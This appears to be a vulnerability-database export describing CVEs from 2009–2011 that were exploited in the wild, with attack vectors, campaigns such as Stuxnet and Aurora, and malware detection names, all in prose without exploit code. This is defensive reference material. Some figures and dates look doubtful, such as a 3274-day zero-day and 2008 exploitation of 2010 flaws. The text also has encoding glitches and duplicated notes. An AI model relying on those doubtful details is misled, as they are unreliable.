Software: Adobe Flash Player

Known/fameous malware:

Microsoft - Exploit:SWF/CVE-2011-0611.C, NOD32 - JS/Exploit.Pdfka.OXL.Gen, Symantec - Trojan.Pidief, Ikarus - Exploit.JS.ShellCode.

The vulnerability has being used during 1 month before disclosure. The campaign started with spam emails enticing users to open its attachment, typically a Microsoft Word document (or a zip file of a Microsoft Word document), which contained inside the malicious Flash exploit.

SQL injection in Webempoweredchurch Wec Discussion
CVE-2011-1722

SQL injection

The vulnerability allows a remote attacker to execute arbitrary SQL commands in vulnerable application.

The vulnerability exists due to insufficient sanitization of user-supplied data passed editpost.php script. A remote attacker can send a specially crafted HTTP request to vulnerable script and execute arbitrary SQL commands in the back-end database.

Successful exploitation may allow an attacker to gain complete control over vulnerable website.

Note: this vulnerability is being actively exploited.


i

The vulnerability was disclosed by Helmut Hummel.
Matthias Hunstock discovered and reported the issue.

Software: Wec Discussion

The vulnerability was disclosed by Helmut Hummel.
Matthias Hunstock discovered and reported the issue.

Remote code execution Adobe Flash Player
CVE-2011-0609

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error in authplay.dll component. A remote attacker can create a specially Flash (.swf) file embedded in a Microsoft Excel (.xls) file, trick the victim into opening it, trigger memory corruption, and execute arbitrary code on the system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability was used o target RSA. Two phishing emails with Microsoft Excel document with exploit were sent to two different groups of employees. The document with exploit code was named "2011 Recruitment plan.xls".

Software: Adobe Flash Player

Known/fameous malware:

Exploit:SWF/CVE-2011-0609
Kaspersky Lab products detected the variants as тАЬTrojan-ropper.MSExcel.SWFDropтАЭ.

The vulnerability was used o target RSA. Two phishing emails with Microsoft Excel document with exploit were sent to two different groups of employees. The document with exploit code was named "2011 Recruitment plan.xls".

Security bypass in Pivot
CVE-2011-1035

Security bypass

The vulnerability allows a remote attacker to bypass security restrictions on the target system.

The weakness exists due to an error in the Reset my password feature. A remote attacker can guess the username and modify the victim's password.

Successful exploitation of the vulnerability may result in security bypass on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability was reported by Hans F. Nordhaug.

Software: PivotX

The vulnerability was reported by Hans F. Nordhaug.

Information disclosure in MHTML in Microsoft Windows
CVE-2011-0096

Cross-site scripting

The vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability exists due to insufficient sanitization of user-input passed via MIME-formatted requests for content blocks within a document. A remote attacker can trick the victim to follow a specially crafted "MHTML:" link and execute arbitrary HTML and script code in userтАЩs browser in context of vulnerable website.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.


i

The vulnerability was originally disclosed on the WooYun website.

Software: Windows

Known/fameous malware:

exploit:win32/cve-2011-0096 trojan horse.

The vulnerability was originally disclosed on the WooYun website.

Remote code execution in Microsoft Internet Explorer
CVE-2011-1345

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error when handling onPropertyChange function calls. A remote attacker can create a specially crafted Web site, trick the victim into visiting it, trigger memory corruption and execute arbitrary code on the system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability was firstly disclosed by VUPEN in January 22, 2011.

This issue was disclosed as part of the Pwn2Own 2011 contest.
Using this vulnerability Irish security researcher Stephen Fewer successfully hacked into a 64-bit Windows 7 (SP1) running Internet Explorer 8 to win CanSecWest hacker challenge ($15,000 cash prize and a new Windows laptop) in March 9-11 in Vancouver, British Columbia.

The issue has been introduced in 03/05/2008.

Software: Microsoft Internet Explorer

Known/fameous malware:

Exploit:JS/CVE-2011-1345.

The vulnerability was firstly disclosed by VUPEN in January 22, 2011.

This issue was disclosed as part of the Pwn2Own 2011 contest.
Using this vulnerability Irish security researcher Stephen Fewer successfully hacked into a 64-bit Windows 7 (SP1) running Internet Explorer 8 to win CanSecWest hacker challenge ($15,000 cash prize and a new Windows laptop) in March 9-11 in Vancouver, British Columbia.

The issue has been introduced in 03/05/2008.

Remote code execution in Microsoft Internet Explorer
CVE-2010-3971

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to boundary error when parsing CSS styles. A remote attacker can create a specially crafted web page containing Cascading Style Sheet that refers to itself recursively, cause memory corruption and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of this vulnerability may allow an attacker to compromise vulnerable system.

Note: this vulnerability is being actively exploited.

i

The vulnerability appears to be connected to the group of Chinese hackers responsible for unleashing a pair of Java zero-day exploits in 2012. After examining of the geographical location of the targets for CVE-2010-3971, these attack attempts bear a close resemblance to those targeting CVE-2010-3962, another Internet Explorer issue that was dubbed as the Weekend Warrior.

Software: Microsoft Internet Explorer

Known/fameous malware:

Virus HTML:CVE-2010-3971-A

The vulnerability appears to be connected to the group of Chinese hackers responsible for unleashing a pair of Java zero-day exploits in 2012. After examining of the geographical location of the targets for CVE-2010-3971, these attack attempts bear a close resemblance to those targeting CVE-2010-3962, another Internet Explorer issue that was dubbed as the Weekend Warrior.

Privilege escalation in Windows Task Scheduler
CVE-2010-3338

Privilege escalation

The vulnerability allows a local user obtain elevated privileges on vulnerable system.

The vulnerability exists in Windows Task Scheduler when running scheduled tasks within the intended security context. A local user can create a specially crafted task and execute arbitrary code on vulnerable system with privileges of the local system account.

Successful exploitation of this vulnerability may allow a local user to obtain full access to vulnerable system.

Note: this vulnerability is being actively exploited.

i

The vulnerability was used by Stuxnet.

Software: Windows

Known/fameous malware:

W32.Stuxnet TDL-4 rootkit (TDSS) Trojan.Generic.KDV.128306

The vulnerability was used by Stuxnet.

Directory traversal in nBill
CVE-2010-4270

Directory traversal

The vulnerability allows a remote attacker to view contents of arbitrary files on the server.

The vulnerability exists due to insufficient filtration of user-supplied input in "/administrator/components/com_nbill/admin.nbill.php" and "/components/com_nbill/nbill.php" scripts. A remote attacker can send specially crafted HTTP request, containing directory traversal sequences (e.g. тАЬ../тАЭ) and view contents of arbitrary file on vulnerable server.

Successful exploitation of the vulnerability may allow an attacker to gain unauthorized access to potentially sensitive information.

Note: this vulnerability is being actively exploited against Joomla! installations.


Software: nBill

Two remote code execution vulnerabilities in JustSystems Ichitaro
CVE-2010-3916

Improper input validation

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to unknown error when handling specially crafted office documents. A remote attacker can create a specially crafted document, trick the victim into opening it, cause unspecified error and execute arbitrary code on vulnerable system.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

i

According to Trend Micro, a pair of vulnerabilities of the code execution type namely CVE-2010-3916 and CVE-2010-3915 was uncovered during September 2010 as 0-day flaws.

Software: Ichitaro

Known/fameous malware:

Trojan.Tarodrop.

According to Trend Micro, a pair of vulnerabilities of the code execution type namely CVE-2010-3916 and CVE-2010-3915 was uncovered during September 2010 as 0-day flaws.

Two remote code execution vulnerabilities in JustSystems Ichitaro
CVE-2010-3915

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to boundary error when handling specially crafted office documents. A remote attacker can create a specially crafted document, trick the victim into opening it, cause buffer overflow and execute arbitrary code on vulnerable system.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

i

According to Trend Micro, a pair of vulnerabilities of the code execution type namely CVE-2010-3916 and CVE-2010-3915 was uncovered during September 2010 as 0-day flaws.

Software: Ichitaro

Known/fameous malware:

TROJ_DROPPER.QVA

According to Trend Micro, a pair of vulnerabilities of the code execution type namely CVE-2010-3916 and CVE-2010-3915 was uncovered during September 2010 as 0-day flaws.

Use-after-free when parsing CSS in Internet Explorer
CVE-2010-3962

Use-after-free

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to use-after-free error when processing CSS token sequences and the clip attribute. A remote attacker can create a specially crafted HTML page, trick the victim into visiting it, cause memory corruption and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

i

The vulnerability refers to cyberattacks, linked to the Nobel Peace Prize ceremony and G20-related malicious spam campaign reported in October 2010.

Software: Microsoft Internet Explorer

Known/fameous malware:

Exploit: Win32/CVE-2010-3962.A.

The vulnerability refers to cyberattacks, linked to the Nobel Peace Prize ceremony and G20-related malicious spam campaign reported in October 2010.

Remote code execution in Adobe Flash Player
CVE-2010-3654

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to boundary when processing .swf files in Adobe Flash Player. A remote attacker can create a specially crafted. swf file, trick the victim into opening it, cause memory corruption and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note: this vulnerability is being actively exploited via specially crafted .pdf files.

i

The vulnerability has been exploited during Sykipot campaigns and Luckycat attacks.

Software: Adobe Flash Player

The vulnerability has been exploited during Sykipot campaigns and Luckycat attacks.

Remote code execution in Mozilla Firefox
CVE-2010-3765

Heap-based buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to boundary error within nsCSSFrameConstructor::ContentAppended. A remote attacker can create a specially crafted web page containing specially crafted document.write and appendChild calls, cause heap-based buffer overflow and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of this vulnerability may allow an attacker to compromise vulnerable system.

Note: this vulnerability is being actively exploited.

i

The vulnerability was reported by Morten Kr├еkvik of Telenor SOC (a Norwegian security vendor). The Nobel Peace Prize website was serving on October 25, 2010 a zero-day exploit against Firefox users. When people accessed the Nobel Peace Prize site they were diverted onto an attack server located in Taiwan which delivered a JavaScript exploit.

Software: Mozilla Firefox

Known/fameous malware:

Exploit: Belmoo Trojan.

The vulnerability was reported by Morten Kr├еkvik of Telenor SOC (a Norwegian security vendor). The Nobel Peace Prize website was serving on October 25, 2010 a zero-day exploit against Firefox users. When people accessed the Nobel Peace Prize site they were diverted onto an attack server located in Taiwan which delivered a JavaScript exploit.

Multiple vulnerabilities in Adobe Shockwave Player
CVE-2010-3653

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error when processing Adobe Director file with a specific value in an "rcsL" field causing an array-indexing error. A remote attacker can create a specially crafted Adobe Director file, trick the victim into opening it, cause memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

Software: Shockwave Player

Known/fameous malware:

Win32/Exploit.CVE-2010-3653.A

Multiple privilege escalation vulnerabilities in Win32k.sys in Microsoft Windows
CVE-2010-2743

Improper validation of array index

The vulnerability allows a local user to execute arbitrary code with elevated privileges.

The vulnerability exists due to an error in Win32k.sys driver when handling keyboard layouts as the Windows kernel fails to validate that an array index is within the bounds of the array. A local user can load a specially crafted keyboard layout and execute arbitrary code on the target system with privileges of SYSTEM account.

Successful exploitation of this vulnerability may allow an attacker to escalate privileges on vulnerable system.

Note: this vulnerability is being actively exploited by Stuxnet.
i

The vulnerability was discovered by Sergey Golovanov from Kaspersky Lab. The vulnerability was exploited by Stuxnet.

Software: Windows

Known/fameous malware:

W32.Stuxnet

The vulnerability was discovered by Sergey Golovanov from Kaspersky Lab. The vulnerability was exploited by Stuxnet.

Information disclosure in ASP.NET
CVE-2010-3332

Information disclosure

The vulnerability allows a remote attacker to obtain potentially sensitive information.

The vulnerability exists due to improper handling of errors during encryption padding verification. A remote attacker can gain access to potentially sensitive encrypted information, such as view state, read files and possibly forge cookies.

Successful exploitation of the vulnerability may allow an attacker to gain access to sensitive information and potentially compromise vulnerable web application.

Note: this vulnerability is being publicly exploited.

Software: Microsoft .NET Framework

Remote code execution in Print Spooler service in Microsoft Windows
CVE-2010-2729

Improper access control

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to Windows Print Spooler service does not correctly restricts access permissions to create files for anonymous users. A remote attacker can send specially crafted RPC request to vulnerable service and upload malicious file to arbitrary location on the system.

This is a remote code execution vulnerability on Windows XP, since the guest account is enabled by default. On other operating systems this is a privilege escalation vulnerability, as only authenticated users have access to Print Spooler shares.

Successful exploitation of the vulnerability may result in remote code execution.

Note: this vulnerability is being actively exploited.

i

Two more CVEs refer to this vulnerability as well: CVE-2010-3888 and CVE-2010-3889. However since the vendor has issued advisory with different CVE number, we will use the one issued by Microsoft.

The vulnerability has been exploited in тАЬprint-bombтАЭ attack as Stuxnet worm.

Software: Windows

Two more CVEs refer to this vulnerability as well: CVE-2010-3888 and CVE-2010-3889. However since the vendor has issued advisory with different CVE number, we will use the one issued by Microsoft.

The vulnerability has been exploited in тАЬprint-bombтАЭ attack as Stuxnet worm.

Multiple vulnerabilities in Adobe Reader and Acrobat
CVE-2010-2884

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to boundary error when processing malicious SWF files. A remote attacker can create a specially crafted .swf document, trick the victim into opening it, cause memory corruption and execute arbitrary code on vulnerable system.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

i

Was used to compromise Amnesty Hong Kong website. The vulnerability in Adobe Flash Player was patched on September, 20 in Adobe Reader and Acrobat on October, 5. The vulnerability was disclosed by Mila Parkour.

Software: Adobe Flash Player

Known/fameous malware:

The exploit:swf/cve-2010-2884.c

Was used to compromise Amnesty Hong Kong website. The vulnerability in Adobe Flash Player was patched on September, 20 in Adobe Reader and Acrobat on October, 5. The vulnerability was disclosed by Mila Parkour.

Privilege escalation in Linux kernel
CVE-2010-3081

Privilege escalation

The vulnerability allows a local user to escalate privileges.

The vulnerability exists due to improper allocation of userspace memory required for the 32-bit compatibility layer within compat_alloc_user_space() function in include/asm/compat.h file on on 64-bit platforms. A local user can call compat_mc_getsockopt() function and gain control over vulnerable system.

Successful exploitation of the vulnerability allows a local non-privileged user to gain root privileges.

i

Based on the sophisticated and fully functional exploits this vulnerability was exploited in the wild for quite some time before the patch was issued.

Software: Linux kernel

Known/fameous malware:

Linux/Exploit.CVE-2010-3081.B

Based on the sophisticated and fully functional exploits this vulnerability was exploited in the wild for quite some time before the patch was issued.

Remote code execution in Adobe Reader
CVE-2010-2883

Stack-based buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to boundary error when handling specially crafted fonts within PDF document. A remote attacker can create a specially crafted PDF document, trick the victim into opening it, cause stack-based buffer overflow and execute arbitrary code on vulnerable system.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

i

According to Symantec the first exploitation of the vulnerability was detected on 2008-12-14.

Software: Adobe Reader

Known/fameous malware:

Exploit:Win32/CVE-2010-2883.A
Trojan horse Exploit_c.JLU (AVG)
Exploit.PDF.1533 (Dr.Web)
Exploit.PDF-JS.Gen(Sunbelt Software)
Bloodhound.Exploit.357 (Symantec).

According to Symantec the first exploitation of the vulnerability was detected on 2008-12-14.

Two vulnerabilities in Adobe Reader and Acrobat
CVE-2010-2862

Integer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to integer overflow in CoolType.dll when processing TrueType fonts with a large maxCompositePoints value in a Maximum Profile (maxp) table within PDF files. A remote attacker can create a specially crafted PDF file, trick the victim into opening it and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note: this vulnerability is being actively exploited in the wild.


i

The vulnerability was presented by the researcher Charlie Miller at the Black Hat USA 2010 security conference on July, 25 in Las Vegas.

Adobe credits Google security engineer Tavis Ormandy with its discovery. Apparently this is one of the relatively rare cases where two security researchers discover the same vulnerability independently of each other. In this case Mr. Ormandy reported it to Adobe first and in private.
According to Symantec the first exploitation of the vulnerability was discovered on  2009-03-05.

Software: Adobe Reader

Known/fameous malware:

Exploit: Boodhound.Exploit.353

The vulnerability was presented by the researcher Charlie Miller at the Black Hat USA 2010 security conference on July, 25 in Las Vegas.

Adobe credits Google security engineer Tavis Ormandy with its discovery. Apparently this is one of the relatively rare cases where two security researchers discover the same vulnerability independently of each other. In this case Mr. Ormandy reported it to Adobe first and in private.
According to Symantec the first exploitation of the vulnerability was discovered on  2009-03-05.

Hardcoded credentials in Siemens SIMATIC WinCC and PSC 7 SCADA systems
CVE-2010-2772

Hardcoded credentials

The vulnerability allows a local user to obtain hardcoded credentials.

The vulnerability exists due to usage of hardcoded password to access back-end database. A local user can obtain password and gain unaithorized access SCADA system.

Successful exploitation of the vulnerability may allow an attacker to gain complete control over the industrial process.

Note: this vulnerability is being actively exploited by the Stuxnet malware.
i

The vulnerabiilty was used by Stuxnet malware together with CVE-2012-3015.

Software: Siemens SIMATIC WinCC

The vulnerabiilty was used by Stuxnet malware together with CVE-2012-3015.

Remote code execution in Microsoft Windows
CVE-2010-2568

Improper input validation

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to an error when parsing icons to .lnk and .pif files within Windows Explorer. A remote attacker can create a specially crafted icon file, trick the victim into clicking on it and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

i

The vulnerability was used by Stuxnet worm. According to Symantec the first exploitation of the vulnerability was discovered on 2008-02-13.

Software: Windows

Known/fameous malware:

Bloodhound.Exploit.343
W32.Stuxnet
W32.Changeup.C
W32.Ramnit

The vulnerability was used by Stuxnet worm. According to Symantec the first exploitation of the vulnerability was discovered on 2008-02-13.

Remote code execution when parsing URLs in Microsoft Windows
CVE-2010-1885

Improper input validation

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to an error when parsing URLs within Microsoft Help and Support Center. A remote attacker can create a specially crafted hcp:// URL, trick the victim into clicking on it and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

i

The vulnerability was reported to Microsoft on July, 5th by Google security researcher Tavis Ormandy.
The vulnerability was used to compromise Federal Financial Institutions Examination Council via тАЬinform@ffiec.govтАЭ mailbox.

Software: Windows

Known/fameous malware:

Mal/HcpExpl-A

The vulnerability was reported to Microsoft on July, 5th by Google security researcher Tavis Ormandy.
The vulnerability was used to compromise Federal Financial Institutions Examination Council via тАЬinform@ffiec.govтАЭ mailbox.

Multiple vulnerabilities in Adobe Flash Player
CVE-2010-1297

Heap-based buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error when processing .swf files. A remote attacker can create a specially crafted .swf file, trick the victim into opening it, cause heap-based buffer overflow and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

i

The vulnerability is called "endless zero-day".
The vulnerability was exploited in Taidoor campaign primarily targeting government organizations located in Taiwan.

Software: Adobe Flash Player

Known/fameous malware:

Trojan.Pidief.J

The vulnerability is called "endless zero-day".
The vulnerability was exploited in Taidoor campaign primarily targeting government organizations located in Taiwan.

Remote code execution in JustSystems Ichitaro
CVE-2010-2152

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to boundary error when handling specially crafted characters within office documents. A remote attacker can create a specially crafted document, trick the victim into opening it, cause buffer overflow and execute arbitrary code on vulnerable system.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

Software: Ichitaro

Known/fameous malware:

Trojan.Tarodrop.J

Remote code execution in Java
CVE-2010-0886

Improper input validation

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to an error when parsing URL to a Java Networking Launching Protocol (.jnlp) file. A remote attacker can create a specially crafted link, trick the victim into clicking on it and execute arbitrary commands on the target system with privileges of the current user.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

i

This vulnerability was originally discovered independently by both Ruben Santamarta and Tavis Ormandy.
The vulnerability was used in Willysy attack. Users who visit the songlyrics.dot.com website were redirected to Russian attack server.

Software: Oracle Java SE

This vulnerability was originally discovered independently by both Ruben Santamarta and Tavis Ormandy.
The vulnerability was used in Willysy attack. Users who visit the songlyrics.dot.com website were redirected to Russian attack server.

Multiple XSS vulnerabilities in JIRA
CVE-2010-1164

Stored cross-site scripting

The vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability exists due to insufficient sanitization of user-supplied data passed via "element" and "defaultColor" HTTP GET parameters to colorpicker.jsp script. A remote attacker can send a specially crafted HTTP request, containing XSS exploit and permanently store arbitrary HTML and script code. The code will be executed in victimтАЩs browser in context of vulnerable website every time the victim visits vulnerable interface.

Successful exploitation of the vulnerability may allow an attacker to gain access to potentially sensitive data.

i

The XSS vulnerability CVE-2010-1164 was used along with privileges escalation vulnerability CVE-2010-1165 to compromise JIRA instances. Apache.org services were taken down due to these vulnerabilities.

Software: Jira Software

The XSS vulnerability CVE-2010-1164 was used along with privileges escalation vulnerability CVE-2010-1165 to compromise JIRA instances. Apache.org services were taken down due to these vulnerabilities.

Multiple XSS vulnerabilities in JIRA
CVE-2010-1165

Improper access control

The vulnerability allows a remote authenticated JIRA administrator to escalate his privileges.

The vulnerability exists due to an error, which allows a remote authenticated JIRA administrator to set the attachment path to a location within the JIRA web application directory and upload malicious code that can execute in the context of the user running the application server in which JIRA is deployed.

Successful exploitation of the vulnerability may allow an attacker to modify JIRA's files and capture user credentials.

i

The XSS vulnerability CVE-2010-1164 was used along with privileges escalation vulnerability CVE-2010-1165 to compromise JIRA instances. Apache.org services were taken down due to these vulnerabilities.

Software: Jira Software

The XSS vulnerability CVE-2010-1164 was used along with privileges escalation vulnerability CVE-2010-1165 to compromise JIRA instances. Apache.org services were taken down due to these vulnerabilities.

Buffer overflow in MPEG layer-3 codecs in Microsoft Windows
CVE-2010-0480

Stack-based buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to multiple boundary errors within Microsoft MPEG Layer-3 codecs when parsing AVI files. A remote unauthenticated attacker can create a specially crafted AVI file, trick the victim into opening it, trigger stack-based buffer overflow and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note: the vulnerability was being actively exploited.

i

According to Symantec the first exploitation of the vulnerability was discovered on 26.03.2010.

Software: Windows

Known/fameous malware:

Bloodhound.Exploit.324

According to Symantec the first exploitation of the vulnerability was discovered on 26.03.2010.

Multiple vulnerabilities in Adobe Reader and Acrobat
CVE-2010-1241

Heap-based buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to boundary error in the custom heap management system in Adobe Reader and Acrobat. A remote attacker can create a specially crafted PDF file, trick the victim into opening it, trigger heap-based buffer overflow and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note: this vulnerability is being actively exploited in the wild.

i

According to Symantec the first exploitation of the vulnerability was discovered on 2008-11-29.

Software: Adobe Reader

Known/fameous malware:

Bloodhound.Exploit.293

According to Symantec the first exploitation of the vulnerability was discovered on 2008-11-29.

Remote code execution in JustSystems Ichitaro
CVE-2010-1424

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to boundary error when handling specially crafted font files. A remote attacker can create a specially crafted document, trick the victim into opening it, cause buffer overflow and execute arbitrary code on vulnerable system.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

Software: Ichitaro

Multiple vulnerabilities in Microsoft SharePoint
CVE-2010-0817

Cross-site scripting

The vulnerability allows a remote attacker to perform XSS attacks.

The vulnerability exists due to insufficient sanitization of user-supplied input data passed to Help.aspx script. A remote attacker can trick the victim into following a specially crafted link and execute arbitrary HTML and script code in victimтАЩs browser in context of vulnerable SharePoint website.

Successful exploitation may allow an attacker to conduct phishing and drive-by-download attacks.

Note: this vulnerability is being publicly exploited.

Software: Microsoft SharePoint Server

Known/fameous malware:

Exploit: Win32/CVE-2010-0817

Remote code execution in Microsoft Internet Explorer
CVE-2010-0806

Use-after-free

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to use-after-free error in the Peer Objects component within iepeers.dll library. A remote attacker can create a specially crafted web page, trick the victim into visiting it and execute arbitrary code via vectors involving access to an invalid pointer after the deletion of an object.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

i

The vulnerability is declared as functional and was handled as a non-public zero-day exploit for at least 3274 days. The story of CVE-2010-0806 bears a certain similarity to the developments in the case of the targeted 'Aurora' attack where the exploit techniques were quickly adopted by the authors of web exploit kits for the use in massive web attacks. The country that suffered a huge loss by malware in April 2010 was China, with 22% of malware attacks. It was followed by Russia (17%), USA (10%), India (4%) and Germany (4%).

Software: Microsoft Internet Explorer

Known/fameous malware:

Some of the variants: Trojan:Win32/Wisp, TrojanDropper:Win32/Lisiu, TrojanDropper:Win32/Agent.gen!I, TrojanDownloader:Win32/Small.gen!AZ, Backdoor:Win32/Agent.FS, TrojanDropper:Win32/Frethog.

The vulnerability is declared as functional and was handled as a non-public zero-day exploit for at least 3274 days. The story of CVE-2010-0806 bears a certain similarity to the developments in the case of the targeted 'Aurora' attack where the exploit techniques were quickly adopted by the authors of web exploit kits for the use in massive web attacks. The country that suffered a huge loss by malware in April 2010 was China, with 22% of malware attacks. It was followed by Russia (17%), USA (10%), India (4%) and Germany (4%).

Integer overflow in Microsoft Paint
CVE-2010-0028

Integer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

he vulnerability exists due to integer overflow when processing JPEG files using Microsoft Paint. A remote attacker can create a specially crafted JPEG file, trick the victim into opening it using Microsoft Pain application, trigger integer overflow and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note: this vulnerability is being actively exploited in the wild.
i

The first attack using exploit for this vulnerability was detected in October 14, 2008 by Symantec. The attackers targeted 102 hosts using 127 malware variants.

Software: Paint

Known/fameous malware:

Bloodhound.Exploit.314

The first attack using exploit for this vulnerability was detected in October 14, 2008 by Symantec. The attackers targeted 102 hosts using 127 malware variants.

Remote code execution in Microsoft Internet Explorer
CVE-2010-0249

Use-after-free

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to use-after-free error in Microsoft Internet Explorer. A remote attacker can execute arbitrary code by accessing a pointer associated with a deleted object.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

i

Aurora exploit was used in targeted attacks ("Aurora") on Google and other U.S. companies, and which Google claims originated in China. Source code was stolen from some of the more than 30 Silicon Valley companies targeted in the attack.

Software: Microsoft Internet Explorer

Aurora exploit was used in targeted attacks ("Aurora") on Google and other U.S. companies, and which Google claims originated in China. Source code was stolen from some of the more than 30 Silicon Valley companies targeted in the attack.

Multiple vulnerabilities in Adobe Reader and Adobe Acrobat
CVE-2009-3953

Improper validation of array index

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to array indexing error in U3D support. A remote attacker can create a specially crafted .pdf file, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: this vulnerability is being actively exploited.

i

The vulnerability was used in spear-phishing attacks in December, 2009.

Software: Adobe Reader

The vulnerability was used in spear-phishing attacks in December, 2009.

Remote code execution in Adobe Acrobat and Adobe Reader
CVE-2009-4324

Use-after-free error

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to use-after-free error in the Doc.media.newPlayer method in Multimedia.api. A remote attacker can create a specially crafted .pdf file, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

Software: Adobe Reader

Known/fameous malware:

Trojan.Pidief.H

Two remote code execution vulnerabilities in Microsoft Windows
CVE-2009-0555

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error when processing malformed Advanced Systems Format (ASF) files. A remote attacker can create a specially crafted audio file that uses the Windows Media Speech code, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

Software: Windows Media Format Runtime

Multiple vulnerabilities in Microsoft Windows
CVE-2009-3126

Integer Overflow or Wraparound

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to integer overflow in GDI+ when handling PNG image file. A remote attacker can create a specially crafted PNG image file, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: according to reports this vulnerability was being actively exploited before Microsoft issued security patch.
i

According to Symantec the first exploitation of the vulnerability was discovered on 2009-01-27.

Software: Windows

Known/fameous malware:

Bloodhound.Exploit.278.

According to Symantec the first exploitation of the vulnerability was discovered on 2009-01-27.

Multiple vulnerabilities in Microsoft Windows
CVE-2009-2501

Heap-based buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to heap-based buffer overflow in GDI+ when handling PNG image file. A remote attacker can create a specially crafted PNG image file, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

According to Symantec the first exploitation of the vulnerability was discovered on 2009-01-07.

Software: Windows

Known/fameous malware:

Bloodhoud.Exploit.277

According to Symantec the first exploitation of the vulnerability was discovered on 2009-01-07.

